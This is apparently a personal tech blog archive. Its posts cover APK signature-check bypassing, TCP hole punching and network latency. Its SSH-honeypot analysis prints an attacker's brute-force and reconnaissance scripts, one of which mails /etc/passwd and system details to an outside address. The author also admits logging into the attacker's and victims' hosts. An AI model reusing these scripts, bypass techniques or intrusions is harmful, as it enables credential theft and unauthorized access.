## Singapore Primary School Phase 2C Vacancy Visualization

2016/08/04

Singapore parents are very serious on education. Despite that “Every School A Good School”, parents are willing to do 40 hours of voluntary service in order to have a better chance of having their child entering a better primary school.

Normally a good primary school has more potential students than the school’s capacity each year. In this case, the school will conduct a ballot to randomly select students to be enrolled. This process is completely open, including the number of students registered and the vacancies. I have done a data visualization on the ratio of students registered vs vacancies for Phase 2C in Google Map. The link of the interactive map is here.

The region is divided according to the Voronoi diagram of the locations of primary schools. Reddish region means that there are more registering students than the school’s vacancy. Bluish region means otherwise.

## Modifying Android APKs which does self certificate checking

2016/07/13

When I modify an Android app which is not mine, I use apktool to unpack the APK, modify the smali, use apktool to pack it and finally sign it using my own key. This works for most of the Apps. However, some Apps explicitly perform certificate checking in their code. The following code snippet illustrates such checking:

PackageManager pm = myContext.getPackageManager();
PackageInfo info = pm.getPackageInfo("my.package.name", PackageManager.GET_SIGNATURES);
String expectedSig = "308203a5...";
quit();
}

One way to fix this is by removing the “if” block, but it’s difficult to locate all such if blocks, especially in smali. A more convenient way is to hook the PackageManager.getPackageInfo() API and change info.signatures to the original APK’s signature. The following code snippet illustrates such hooking:

PackageManager pm = myContext.getPackageManager();
PackageInfo info = PatchSignature.getPackageInfo(pm, "my.package.name", PackageManager.GET_SIGNATURES);
...
public class PatchSignature {
public static PackageInfo getPackageInfo (PackageManager pm, String packageName, int flags) throws PackageManager.NameNotFoundException
{
PackageInfo info = pm.getPackageInfo(packageName, flags);
if ("my.package.name".equals(packageName) &&
info.signatures != null && info.signatures.length > 0 &&
info.signatures[0] != null)
info.signatures[0] = new Signature("308203b6...");
return info;
}
}

Three things need to be done here:

1. Change all PackageManager.getPackageInfo() to PatchSignature.getPackageInfo().
2. Add class PatchSignature.
3. Find out the correct signature.

It is very easy to locate and replace all PackageManager.getPackageInfo() calls in the smali code. All we need to do is replacing:

invoke-virtual {PARAM1, PARAM2, PARAM3}, Landroid/content/pm/PackageManager;->getPackageInfo(Ljava/lang/String;I)Landroid/content/pm/PackageInfo;

with

invoke-static {PARAM1, PARAM2, PARAM3}, LPatchSignature;->getPackageInfo(Landroid/content/pm/PackageManager;Ljava/lang/String;I)Landroid/content/pm/PackageInfo;

The smali code for PatchSignature can be easily obtained by writing a simple app with the java code and disassemble it. Now we have only one problem remaining, how to obtain the original certificate? I.e. what should we put in new Signature("...")?

Here’s what I found the most convenient way:

openssl pkcs7 -inform DER -print_certs -in unpacked-app-using-apktool/original/META-INF/CERT.RSA | openssl x509 -inform PEM -outform DER | xxd -p

## Maximal Shutter Speed for Night Sky Photography without Tracking

2014/05/10

When taking night sky photography, we need to grab as much light as possible by increasing the ISO, using a larger aperture and/or using a longer shutter speed. However, larger ISO means more noise and there is a limit of aperture size. If the shutter speed is too long, star trails become noticeable.

The star trails can be avoided by attaching the camera on a equatorial mount. However, not everyone can afford one.

What’s the longest shutter speed without leaving any noticeable trail? Experienced astrophotographers have a good estimation through a trial and error approach. Let’s instead look at the mathematics behind it.

Different stars move at different speed.

Stars at the poles, e.g. the Polaris, do not move. Stars on the earth equator plane, e.g. the Orion constellation, move the fastest, i.e. about $360^{\circ}$ per day. In astronomy, declination ($-90^{\circ} \le \delta \le 90^{\circ}$) measures the angle of the star above the equator plane.

During time $t$, a star at declination $\delta$ moves for an angle of $\frac{360^{\circ} \times t \times cos \delta}{24 hours}$. If (i) a $f$mm lens focuses at infinity, (ii) a star moves for an angle of $\alpha$ and (iii) it’s at the center of the picture, then its image on the CCD sensor will move for $f \times \alpha \times \pi / 180^{\circ}$. The Polaris’ declination is about $90^{\circ}$ and the Orion constellation’s declination is around $[-10^{\circ}, 10^{\circ}]$.

Putting them together, the star’s image on the CCD will move for $t \times cos \delta \times f \times 2\pi / 24 hours$ mm. For instance, if we use 30s shutter speed and a standard 50mm lens to shoot Orion, the length of the trail will be 0.1mm on the camera CCD.

Now, the question is, whether a 0.1mm trail on the CCD is noticeable on the final photo? It’s hard to answer as it depends on several factors: size and resolution of the print, resolution of the sensor and resolving power of the lens. Fortunately, this has been well studied in the optics community. The circle of confusion (CoC) measures the largest blur spot that is indistinguishable from a point. This can be rephrased in our flavour by substituting “largest blur spot” to “longest trail”. A widely used CoC is d/1500, where d is the diagonal of the sensor. For example, for full frame (d= 43mm), CoC = 0.029mm, thus 0.1mm is quite noticeable. I found d/1500 tends to be too large for today’s high resolution camera. Moreover, I usually crop a bit. I’m more comfortable with d/2000.

We now can compute the longest shutter speed $t$:

$\frac{t \times cos \delta \times f \times 2\pi}{24 hours} = \frac{d}{2000}$

$t = \frac{d \times 24 hours}{2000 \times cos \delta \times f \times 2\pi}$

Here is a table for some configurations:

$f$ $\delta$ $d$ max $t$
14mm $0^{\circ}$ 43mm (full frame) 21s
50mm $0^{\circ}$ 43mm (full frame) 6s
500mm $0^{\circ}$ 43mm (full frame) 0.6s
50mm $0^{\circ}$ 28mm (APS-C) 4s
4.1mm $0^{\circ}$ 5mm (iPhone 5S) 6s
50mm $90^{\circ}$ 43mm (full frame) $\infty$

A general rule of thumb is $300/F$ sec where $F$ is the 35 mm equivalent focal length.

## Nerd’s Birthday

2013/11/29

Do you want to celebrate your 10000th day since birth? How about 6765th (the 20th Fibonacci number) day? I wrote a Javascript program to compute the days to celebrate in the near future. Unfortunately wordpress.com doesn’t support user Javascript, so it is hosted in my github page: Nerd’s Birthday

## Why NUS-to-MyRepublic latency is so high?

2013/08/16

I have switched from starhub cable to MyRepublic fibre. I noticed the lag when SSH from home to NUS, so I tried to figure it out.

Here is a comparison of the round trip time (RTT) from MyRepublic to various of places I can think of. The measurement spams about one and half days. 5 ping packets is sent to all targets every 20 minutes. Sorry for the limited coloring of the plot. The legend is sorted from low latency on the top to high latency on the bottom. So singnet is the fastest and berkeley is the slowest. NUS, having an average RTT of 189ms, ranks among the slowest three.

Here is a summary in the following table. I got geographic location from http://www.iplocation.net.

host geo. location RTT
http://www.singnet.com.sg Singapore 4.4
speedtest.starhub.com Singapore 5.1
http://www.sutd.edu.sg Singapore 6.4
http://www.sina.com.cn Guangdong 42.4
http://www.tsinghua.edu.cn Beijing 81.4
http://www.fudan.edu.cn Shanghai 144.6
http://www.youku.com Beijing 159.6
http://www.nus.edu.sg Singapore 188.8
http://www.mit.edu Massachusetts 191.3
http://www.berkeley.edu California 223.5

Then I traceroute from MyRepublic to NUS.

[myrepublic]$traceroute www.nus.edu.sg traceroute to www.nus.edu.sg (137.132.21.27), 30 hops max, 60 byte packets 1 192.168.0.2 (192.168.0.2) 0.212 ms 0.412 ms 0.495 ms 2 172.24.0.1 (172.24.0.1) 2.737 ms 2.736 ms 2.910 ms 3 192.168.255.2 (192.168.255.2) 6.822 ms 6.837 ms 6.771 ms 4 203.117.132.9 (203.117.132.9) 4.172 ms 4.296 ms 4.154 ms 5 anatll11.starhub.net.sg (203.118.7.34) 4.809 ms 4.861 ms 4.764 ms 6 203.116.10.186 (203.116.10.186) 189.093 ms 188.329 ms 188.602 ms 7 xe-5-2-0.cc-rtr1.gigapop.nus.edu.sg (202.51.240.34) 177.459 ms 178.062 ms 178.173 ms 8 nus-gw1.gigapop.nus.edu.sg (202.51.241.14) 178.442 ms 178.512 ms 178.423 ms 9 * * *  The route seems OK in the sense that every intermediate host are in Singapore. It’s just the RTT which isn’t right. Could the return route be the problem? Then I traceroute from NUS to MyRepublic. Note that 103.6.151.113 is in MyRepublic. [nus]$ traceroute 103.6.151.113
traceroute to 103.6.151.113 (103.6.151.113), 30 hops max, 60 byte packets
1  137.132.83.6 (137.132.83.6)  0.339 ms  0.370 ms  0.458 ms
2  core-e-m.comp.nus.edu.sg (172.18.176.137)  0.315 ms  0.376 ms  0.437 ms
3  core-j-211.comp.nus.edu.sg (172.18.176.34)  1.216 ms  1.115 ms  1.114 ms
4  core-k-211.comp.nus.edu.sg (172.18.176.35)  1.231 ms  1.294 ms  1.142 ms
5  187-9.priv.nus.edu.sg (172.18.187.9)  1.234 ms  1.330 ms  1.580 ms
6  21-74.priv.nus.edu.sg (172.18.21.74)  1.763 ms  1.420 ms  1.421 ms
7  border1-cc-l3-po110.priv.nus.edu.sg (172.18.20.102)  1.934 ms  1.985 ms  2.174 ms
8  border-cc-m1.nus.edu.sg (137.132.3.130)  2.553 ms  3.706 ms  4.776 ms
9  xe-5-3-0.cc-rtr1.gigapop.nus.edu.sg (202.51.241.13)  4.627 ms  4.120 ms  4.155 ms
10  ge-1-1-0.la-rtr1.gigapop.nus.edu.sg (202.51.240.193)  212.824 ms  212.802 ms  233.477 ms
11  he.net.coresite.com (206.223.143.122)  194.115 ms  214.906 ms  194.099 ms
12  10gigabitethernet2-1.core1.lax1.he.net (72.52.92.121)  192.053 ms  191.509 ms  199.569 ms
13  pacnet.10gigabitethernet2-3.core1.lax1.he.net (216.218.223.206)  191.899 ms  193.382 ms  193.344 ms
14  te0-2-0-0.gw1.lax3.asianetcom.net (61.14.158.48)  188.949 ms  190.592 ms  189.575 ms
15  te0-3-0-1.wr1.sin0.asianetcom.net (61.14.158.49)  204.286 ms  193.958 ms  197.660 ms
16  * gi4-0-0.gw2.sin3.asianetcom.net (61.14.157.134)  205.614 ms  204.824 ms
17  te0-0-0-4.gw3.sin3.asianetcom.net (202.147.32.101)  191.739 ms  191.265 ms  193.485 ms
18  MYR-0001.asianetcom.net (203.192.154.154)  227.445 ms  188.560 ms  227.428 ms
19  10GE-103-6-148-30.myrepublic.com.sg (103.6.148.30)  240.193 ms  240.195 ms  240.204 ms
20  * * *
21  103-6-151-113.myrepublic.com.sg (103.6.151.113)  192.013 ms  193.590 ms  193.314 ms
22  103-6-151-113.myrepublic.com.sg (103.6.151.113)  203.320 ms  195.278 ms  191.638 ms


Notice that in hop 10-11, it goes from NUS to coresite.com, which is in California. It then goes to asianetcom.net, which is in Tokyo. Then it comes back to Singapore. Why it routes like that is beyond my knowledge.

Besides this, another interesting question is that why google dns is so fast. The distance between Singapore and San Francisco is 13572.66 KM. The RTT of light is 90.5ms, so no one can do better than that. But google can do 11.7ms!

It turns out that 8.8.4.4 is an anycast address which means it routes to one of the google DNS servers distributed across the world. Try yourself traceroute to 8.8.4.4!

2013/06/13

$hexdump -n 128 -C PAL_img/PAL.EXE 00000000 4d 5a af 01 c9 00 01 00 08 00 45 19 ff ff 1b 19 |MZ........E.....| 00000010 00 02 00 00 00 01 f0 ff 52 00 00 00 54 68 69 73 |........R...This| 00000020 20 66 69 6c 65 73 20 63 72 61 63 6b 65 64 20 62 | files cracked b| 00000030 79 20 57 69 64 65 53 6f 66 74 2e 45 6d 61 69 6c |y WideSoft.Email| 00000040 3a 73 6f 66 74 77 69 64 65 40 32 31 63 6e 2e 63 |:softwide@21cn.c| 00000050 6f 6d 07 00 00 00 22 00 79 01 00 00 20 00 5d 03 |om....".y... .].| 00000060 ff ff 38 32 80 00 00 00 10 00 a4 2d 1e 00 00 00 |..82.......-....| 00000070 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000080 虽然我是用从vShare下载的盗版ipa文件来分析的(http://enapp.appvv.com/500370.html)，但是我觉得app store上的正版应该是一样的。 顺带说一下，这个app里面有所有仙剑的MIDI音乐，并且都转成了aac。 Track02.m4a 情愿 CD音源版 Track03.m4a 蝶舞春园 CD音源版 Track04.m4a 雨 CD音源版 Track05.m4a 白河寒秋 CD音源版 Track06.m4a 桃花幻梦 CD音源版 Track07.m4a 云谷鹤峰 CD音源版 Track08.m4a 蝶恋 CD音源版 Track09.m4a 比武招亲 CD音源版 1.m4a 配乐1号 2.m4a 升级 3.m4a 战斗胜利 4.m4a 云谷鹤峰2 5.m4a 云谷鹤峰1 6.m4a 蝶恋1 7.m4a 蝶恋2 8.m4a 余杭春日 9.m4a 蝶恋变奏 10.m4a 忧 11.m4a 惊 12.m4a 小桥流水 13.m4a 来世再续未了缘 14.m4a 比武招亲 15.m4a 蝶恋3 16.m4a 情怨1 17.m4a 情怨2 18.m4a 逆天而行 19.m4a 鬼阴山 20.m4a 兵凶战危 21.m4a 救黎民 22.m4a 魂萦梦牵 23.m4a 蒙难 24.m4a 盟誓 25.m4a 遇袭 26.m4a 十面埋伏 27.m4a 蝶恋4 28.m4a 红尘路渺 31.m4a 乐逍遥 32.m4a 宿命 34.m4a 危机 35.m4a 神木林 37.m4a 风起云涌 38.m4a 势如破竹 39.m4a 心急如焚 40.m4a 战意昂 42.m4a 侠客行 43.m4a 罗汉阵 44.m4a 腥风血雨 46.m4a 兵凶战危变奏 47.m4a 御剑伏魔2 48.m4a 御剑伏魔1 49.m4a 晨光 50.m4a 风光 51.m4a 富甲一方 52.m4a 蝶舞春园1 53.m4a 蝶舞春园2 54.m4a 大开眼界 55.m4a 白河寒秋 56.m4a 桃花幻梦 57.m4a 心忐忑 58.m4a 颓城 59.m4a 回梦 60.m4a 历险 61.m4a 窥春 63.m4a 终曲 64.m4a 醉仙驱魔 65.m4a 戏仙 66.m4a 春色无边 67.m4a 神佑 68.m4a 雨2 69.m4a 看尽前尘 70.m4a 灵山 71.m4a 繁华看尽 72.m4a 凌云壮志 73.m4a 春风恋牡丹 74.m4a 美景 75.m4a 情牵 76.m4a 今生情不悔 77.m4a 云谷鹤峰3 78.m4a 步步为营 79.m4a 灵怨 80.m4a 救佳人 81.m4a 险境 82.m4a 血海余生 83.m4a 鬼影幢幢 84.m4a 雨1 85.m4a 梦醒 86.m4a 酒剑仙 87.m4a 孤雀无栖 30.m4a 配乐30号 33.m4a 配乐33号 36.m4a 配乐36号 41.m4a 配乐41号 45.m4a 配乐45号 62.m4a 配乐62号 ## Self-referential message with hash 2013/04/08 The size of this message is 219 bytes. The sum of all the digits in this message is 125. There are 2 0s, 5 1s, 7 2s, 4 3s, 3 4s, 3 5s, 2 6s, 3 7s, 2 8s and 2 9s. The SHA1 sum of this message has 86 0-bits and 74 1-bits. For more things to read, see here and here. ## 4 Years of Suiyang 2013/03/16 I had the opportunity to take two panoramas of Suiyang in February 2009 and February 2013. They were taken from the same location so I could stack them perfectly. It shows how fast a typical country in China develops. The interactive image comparison is hosted here, because wordpress.com doesn’t allow user javascript. ## Experiment on TCP Hole Punching 2013/01/31 I recently need to find a way to connect to a subversion server behind a NAT. I used to tunnel through a SSH server with public IP. It worked perfectly, but recently I lost access to the server. So I want to try TCP hole punching. It’s not hard to find related resource online. I followed the approach described in the paper “Peer-to-Peer Communication Across Network Address Translators”. The basic idea is to let both peers do connect and listen on the same port. If the internet gateway sees an outgoing SYN packet to X, the gateway will allow subsequent packets from X. As a result, at least one of the SYN packet should punch trough the NAT. Before this, we need to know the external IP and port of both peers. Fortunately, most NAT implementations always map the same internal IP/port to the same external IP/port. It’s known as “independent mapping”. Even better, most NAT will use the same external port as the internal port if it’s not occupied. It’s known as “port preserving”. To know the external IP/port, we can connect to a third server and let it tell us, just like STUN. So I implemented the idea in Ford’s paper. #include <stdio.h> #include <sys/socket.h> #include <arpa/inet.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <sys/types.h> #include <netinet/in.h> #include <netdb.h> #define DIE(format,...) do {perror(NULL); printf(format, ##__VA_ARGS__); exit(1);} while(0) int say_something (int sock) { char buff[256]; int len, flags; flags = fcntl(sock, F_GETFL); flags = flags & (~ O_NONBLOCK); if (fcntl(sock, F_SETFL, flags)) DIE("fcntl() failed\n"); snprintf(buff, sizeof(buff), "Hello. I'm %d", getpid()); printf("sending %s\n", buff); if (send(sock, buff, strlen(buff) + 1, 0) != strlen(buff) + 1) DIE("send() failed\n"); len = recv(sock, buff, sizeof(buff), 0); if (len <= 0) DIE("recv() failed\n"); printf("received %s\n", buff); return 0; } // TODO address type, length... int getaddr (struct sockaddr *addr, const char *host, const char *port) { struct addrinfo hints, *res; memset(&hints, 0, sizeof(hints)); hints.ai_family = AF_INET; hints.ai_socktype = SOCK_STREAM; hints.ai_protocol = 0; hints.ai_flags = AI_PASSIVE; if (getaddrinfo(host, port, &hints, &res)) return -1; if (res == NULL) return -1; memcpy(addr, res->ai_addr, res->ai_addrlen); freeaddrinfo(res); return 0; } int main (int argc, char *argv[]) { int ssock, csock; struct sockaddr_in local_addr, remote_addr; fd_set rfds, wfds; struct timeval tv; int i; socklen_t len; if (argc != 4) { printf("Usage: %s localport remotehost remoteport\n", argv[0]); exit(0); } if (getaddr((struct sockaddr *)&local_addr, NULL, argv[1])) DIE("getaddr() failed\n"); if (getaddr((struct sockaddr *)&remote_addr, argv[2], argv[3])) DIE("getaddr() failed\n"); if ((ssock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) DIE("socket() failed\n"); if ((csock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) DIE("socket() failed\n"); i = 1; if (setsockopt(ssock, SOL_SOCKET, SO_REUSEADDR, &i, sizeof(int))) DIE("setsockopt() failed\n"); if (setsockopt(csock, SOL_SOCKET, SO_REUSEADDR, &i, sizeof(i))) DIE("setsockopt() failed\n"); if (bind(ssock, (const struct sockaddr *)&local_addr, sizeof(local_addr))) DIE("bind() failed\n"); if (bind(csock, (const struct sockaddr *)&local_addr, sizeof(local_addr))) DIE("bind() failed\n"); if (fork()) { close(csock); if (listen(ssock, 1)) DIE("listen() failed\n"); while (1) { len = sizeof(remote_addr); i = accept(ssock, (struct sockaddr *)&remote_addr, &len); if (i < 0) { perror("accept() failed."); } else { printf("accept() succeed."); return say_something(i); } } } else { close(ssock); srandom(getpid()); for (i = 0; i < 3; i ++) { if (connect(csock, (const struct sockaddr *)&remote_addr, sizeof(remote_addr))) { int sleeptime = random() * 1000000.0 / RAND_MAX + 1000000.0; sleeptime = sleeptime << i; perror("connect() failed"); if (i < 2) { printf("sleeping for %.2f sec to retry\n", sleeptime / 1000000.0); usleep(sleeptime); } } else { printf("connect() succeed"); return say_something(csock); } } return 1; } }  It worked. host1 and host2 have external IP 1.1.1.1 and 2.2.2.2 respectively. Both NAT preserve ports so if host1 binds on port 30000, the external port is also 30000. host1$ ./biconn 30000 2.2.2.2 20000
connect() failed: Connection timed out
sleeping for 1.13 sec to retry
connect() succeed: Connection timed out
sending Hello. I'm 8151

host2$./biconn 20000 1.1.1.1 30000 connect() failed: Connection refused sleeping for 1.68 sec to retry connect() succeed: Connection refused sending Hello. I'm 6629 received Hello. I'm 8151  I noticed an unexpected behaviour. accept() never succeeded in either peer. connect() succeed in both peers. Is it possible for two peers to symmetrically “connect()” to each other? Is question is not related to NAT. The answer is yes. Find any computer networks text book and look for the TCP state diagram. It’s possible to go from the SYN_SENT state to the SYN_RECV state by receiving a SYN packet. Someone has asked the question before. So I wondered if I can remove the listen() part in the code, and use only one socket in each peer. A problem with the previous approach (as mentioned here) is that it’s not possible to bind additional sockets on the port after listen(). So I did the second experiment. It’s much cleaner. #include <stdio.h> #include <sys/socket.h> #include <arpa/inet.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <sys/select.h> #include <netinet/in.h> void die (const char *msg) { perror(msg); exit(1); } int main (int argc, char *argv[]) { int sock; struct sockaddr_in addr; char buff[256]; if (argc != 4) { printf("Usage: %s localport remotehost remoteport\n", argv[0]); exit(0); } sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); if (sock < 0) die("socket() failed"); memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_addr.s_addr = htonl(INADDR_ANY); addr.sin_port = htons(atoi(argv[1])); if (bind(sock, (const struct sockaddr *)&addr, sizeof(addr))) die("bind() failed\n"); memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_addr.s_addr = inet_addr(argv[2]); addr.sin_port = htons(atoi(argv[3])); while (connect(sock, (const struct sockaddr *)&addr, sizeof(addr))) { if (errno != ETIMEDOUT) { perror("connect() failed. retry in 2 sec."); sleep(2); } else { perror("connect() failed."); } } snprintf(buff, sizeof(buff), "Hi, I'm %d.", getpid()); printf("sending \"%s\"\n", buff); if (send(sock, buff, strlen(buff) + 1, 0) != strlen(buff) + 1) die("send() failed."); if (recv(sock, buff, sizeof(buff), 0) <= 0) die("recv() failed."); printf("received \"%s\"\n", buff); return 0; }  It works. I wonder what’s the reason of doing listen(). Does it related to the way connection tracking is implemented in different type of NAT? Or does it related to the way TCP is implemented in different OS? host1$ ./biconn1 20000 2.2.2.2 30000
connect() failed. retry in 2 sec.: Connection refused
sending "Hi, I'm 6566."

host2$./biconn1 30000 1.1.1.1 20000 connect() failed. retry in 2 sec.: Connection refused connect() failed.: Connection timed out connect() failed.: Connection timed out sending "Hi, I'm 7600." received "Hi, I'm 6566."  My objective is to connect to my subversion server in a NAT. Now, I still need a publicly accessible server to coordinate the hole punching. It basically works like this: In the subversion server I run a program with persistent connection to the public server. When I want to connect from outside, I can contact the public server, which then notifies my program in the subversion server. Then I can launch the TCP hole punching and get a TCP connection, which can then be used to tunnel the subversion connection. Without possessing a public accessible server, other mechanisms can be used. I can think of the following mechanisms: • Online forum: Post the client’s external IP/port in a forum and have a program running in the subversion server to periodically check the forum. • DHT, e.g. the mainline bittorrent DHT: The server randomly generates a infohash, and “announce” itself to be downloading this infohash. The server then periodically queries for peers on the infohash. To do hole punching, the client also announces itself to be downloading it. The server sees a new peer joining, then both parties can do hole punching. The limitation is that two peers cannot exchange port information, thus they need to predetermine a particular port. • IRC bot • Public SIP registrar: It’s a bit overkill, but quite related, and well supported (plenty public servers and libraries). I’m not sure if there is any existing tool for this purpose. Before IPv6 getting well established, there are going to be more and more servers behind NAT, so this is going to be handy. Please leave a comment if you know any. ## analysing an ssh password bruteforce attack 2013/01/12 Having setup my ssh honeypot, I had my first guest. I thought it might be a victim, so I tried to see whether it has a weak password. It turned out to be really weak. I got it on my second guess. It’s a x86 machine running RHEL5 and has an public IP address in Beijing. A quick glance at the running processes showed no obvious malicious processes. The bash history showed the most recent command was go.sh.  68 cd /root/ 69 ls 70 cd lamp-auto 71 ls 72 sh lamp-auto.sh 73 cd 74 cd /root/gosh 75 ./go.sh 91  I don’t know why the hacker didn’t clear the history, but I’m certain that the hacker was the most recent logined user before me. The lastlog showed the previous login was from SC Aries Networks Group SRL (Romania). I believe this was from the hacker. It’s unlikely he created a fake lastlog. I tried to access that address but it was offline. OK, let’s see that’s in /root/gosh. [root@foo gosh]$ ls -al
total 9500
drwx--x--x   2 root root    4096 Jan 11 14:09 .
drwxrwxr-x. 10 root root    4096 Jan 11 21:50 ..
-rwx--x--x   1 root root 3346659 Jul 23  2006 1
-rwx--x--x   1 root root   54703 Apr 20  2008 2
-rwx--x--x   1 root root   28956 Apr 21  2008 3
-rwx--x--x   1 root root   54703 Apr 20  2008 4
-rwx--x--x   1 root root   26857 Aug 23  2005 5
-rwx--x--x   1 root root    1227 Jul 12  2011 a
-rw-r--r--   1 root root 2830095 Jan 11 16:40 bios.txt
-rwx--x--x   1 root root   22354 Dec  2  2004 common
-rwx--x--x   1 root root     265 Nov 25  2004 gen-pass.sh
-rwx--x--x   1 root root     120 Jul 30  2011 go.sh
-rwx--x--x   1 root root 1972243 Jan 11 16:40 mfu.txt
-rwx--x--x   1 root root     806 Jun 24  2012 pass_file
-rwx--x--x   1 root root   21407 Jul 22  2004 pscan2
-rwx--x--x   1 root root    5908 Jul 12  2011 scam
-rwx--x--x   1 root root     197 Aug 23  2005 secure
-rwx--x--x   1 root root  453972 Jul 13  2004 ss
-rwx--x--x   1 root root  842736 Nov 24  2004 ssh-scan
-rwxr-xr-x   1 root root   10974 Jan 11 16:59 vuln.txt

[root@foo gosh]$file * 1: C++ source, ISO-8859 text, with CRLF line terminators 2: C source, ASCII text 3: C++ source, ASCII text, with CRLF line terminators 4: C source, ASCII text 5: ASCII text a: ISO-8859 text bios.txt: ASCII text common: C++ source, ASCII text gen-pass.sh: Bourne-Again shell script, ASCII text executable go.sh: ASCII text mfu.txt: ASCII text pass_file: ASCII text pscan2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.2.5, not stripped scam: Bourne-Again shell script, ASCII text executable secure: Bourne-Again shell script, ASCII text executable ss: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.0.0, stripped ssh-scan: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.0.0, stripped vuln.txt: ASCII text  The file 1 to 5 and pass_file are username and password pairs. Those are password dictionaries, no surprise, except there are two interesting long passwords, 7hur@y@t3am$#@!(*( and JFKGHDj3587561346tyhsdfgDFH75q4yeatHADF. Google gives a few hits, but no interesting finding. bios.txt is a list of 205763 IP addresses, including mine. No wonder I’m scanned. go.sh is the one in the bash history. Here’s the script:

perl pscan3
./ss 22 -a $1 -i eth0 -s 10 cat bios.txt |sort | uniq > mfu.txt ./ssh-scan 300 rm -f bios.txt rm -rf pscan3  There is no file named pscan3, so I don’t know what the first line means. pscan2 is an ELF32 executable. The help message is: Usage: ./pscan2 <b-block> <port> [c-block] Other strings from the executable are %s.pscan.%s %s.%s.pscan.%s Invalid b-range. # scanning: %s.%d.* (total: %d) (%.1f%% done) Unable to allocate socket. Unable to set O_NONBLOCK %s.%d.%d Invalid IP. # pscan completed in %u seconds. (found %d ips) Y@%s Error: %s  So it’s a port scanner. Nothing fun. Let’s move to ss. The help message is: usage: ./ss <port> [-a <a class> | -b <b class>] [-i <interface] [-s <speed>] speed 10 -> as fast as possible, 1 -> it will take bloody ages (about 50 syns/s)  The hacker’s command was ./ss 22 -a 91 -i eth0 -s 10, so he’s a impatient person. From the strings in the executable, it looks like another port scanner. It uses libpcap to get the reply. The pcap filter (found in the strings dump) is (tcp[tcpflags]=0x12) and (src port %d) and (dst port %d), which selects ACK|SYN packets. Googling it’s SHA1 b45ae5d8d3069ee7f880dd461c931fa711b6ad3d gives me a virustotal report. Detection ratio is 30/46, so it’s quite well known. OK, the last ELF file, ssh-scan. There isn’t any useful help message this time. From the strings, it looks like a ssh scanner. This is my guess: it reads IP addresses in mfu.txt, user:password pairs in pass_file, and output login results in vuln.txt. All file names are hard coded. I tried a few hosts in vuln.txt, some can login. ssh-scan’s SHA1 4f64a5b07b0c128771ea21bf4aa15610fc6b071c also gets hit in virustotal, with 30/42 detection ratio. The shell script scam is used to mail the scan result to the hacker. #!/bin/bash echo "[+] [+] [+] RK [+] [+] [+]" >> info2 echo "[+] [+] [+] IP [+] [+] [+]" >> info2 /sbin/ifconfig -a >> info2 echo "[+] [+] [+] uptime [+] [+] [+]" >> info2 uptime >> info2 echo "[+] [+] [+] uname -a [+] [+] [+]" >> info2 uname -a >> info2 echo "[+] [+] [+] /etc/issue [+] [+] [+]" >> info2 cat /etc/issue >> info2 echo "[+] [+] [+] passwd [+] [+] [+]" >> info2 cat /etc/passwd >> info2 echo "[+] [+] [+] id [+] [+] [+]" >> info2 id >> info2 echo "[+] [+] [+] Spatiu Hdd / pwd [+] [+] [+]" >> info2 df -h >> info2 pwd >> info2 cat info2 | mail -s "Scanner MaLa Port : ?? | Pass : stii tu :))" DaNioN@bk.ru rm -rf info2 clear echo "####################################################################" echo "# ______ " echo "# .-. .-. " echo "# / \ " echo "# | zRR | " echo "# |, .-. .-. ,| " echo "# | )(z_/ \z_)( | " echo "# |/ /\ \| " echo "# _ (_ ^^ _) " echo "# _\ ____) \_______\__|IIIIII|__/_________________________ " echo "# (_)[___]{}<________|-\IIIIII/-|__zRR__zRR__zRR___________\ " echo "# / )_/ \ / " echo "# \ ______ / " echo "# SCANER PRIVAT " echo "# SCANER FOLOSIT DOAR DE TEAMUL MaLaSorTe " echo "# SACNERUL CONTINE UN PASS_FLIE DE 3MEGA !! " echo "####################################################################" if [ -f a ]; then cat vuln.txt |mail -s "gosh" DaNioN@bk.ru ./a$1.0
./a $1.1 ./a$1.2
./a $1.3 ./a$1.4
./a $1.5 ./a$1.6
./a $1.7 ./a$1.8
./a $1.9 ./a$1.10
cat vuln.txt |mail -s "gosh" DaNioN@bk.ru
./a $1.11 ... ./a$1.255
killall -9 a
else
echo # Ciudat ..Nu Ai Urmat Instructiunile  #
echo # trebui dat mv assh a sau mv scan a   #
echo # orice ai avea tu ... dohh ..         #
killall -9 a
killall -9 pscan2
fi


I can’t see any trace of this script been executed in this host. Google translate suggests it’s Romanian, but the hacker might not be the script author. Nevertheless, the language and the IP address match! The hacker’s email is DaNioN@bk.ru, which has only one Google hit. The script ./a prepares the input for ssh-scan and launches ssh-scan.

#!/bin/bash
if [ $# != 1 ]; then echo " usage:$0 <b class>"
exit;
fi

echo -e "33[1;31m?33[1;32m Created bY zRR 33[1;31m?33[0m"
echo "INCERC SA DAU VIATZA CIBERNETICI"

./pscan2 $1 22 sleep 10 cat$1.pscan.22 |sort |uniq > mfu.txt
oopsnr2=grep -c . mfu.txt
echo "# SA VEDEM CE PULA MEA FACEM"
echo "#          _\ ____) \_______  "
echo "#         (_)[_bY_]{}<zRR> "
echo "#         /     )_/         "
echo "#.......si DE root  ....... "
echo "                            "
echo -e "Checking33[1;34m user file33[0m pass 1"
cp 1 pass_file
./ssh-scan 100
sleep 3
echo -e "Checking33[1;31m root file33[0m pass 2"
cp 2 pass_file
./ssh-scan 100
sleep 3
echo -e "Checking33[1;34m user file33[0m pass 3"
cp 3 pass_file
./ssh-scan 100
sleep 3
echo -e "Checking33[1;34m user file33[0m pass 4"
cp 4 pass_file
./ssh-scan 100
sleep 3
echo -e "Checking33[1;31m root file33[0m pass 5"
cp 5 pass_file
./ssh-scan 100
rm -rf \$1.pscan.22 mfu.txt
echo -e "33[1;31m?33[1;32mFuck .. continuam .. 33[1;31m?33[0m"


It even has terminal color. That’s quite uncommon for a background scanning tool. The hacker can’t sit there and watch the scanning, so what’s the purpose?

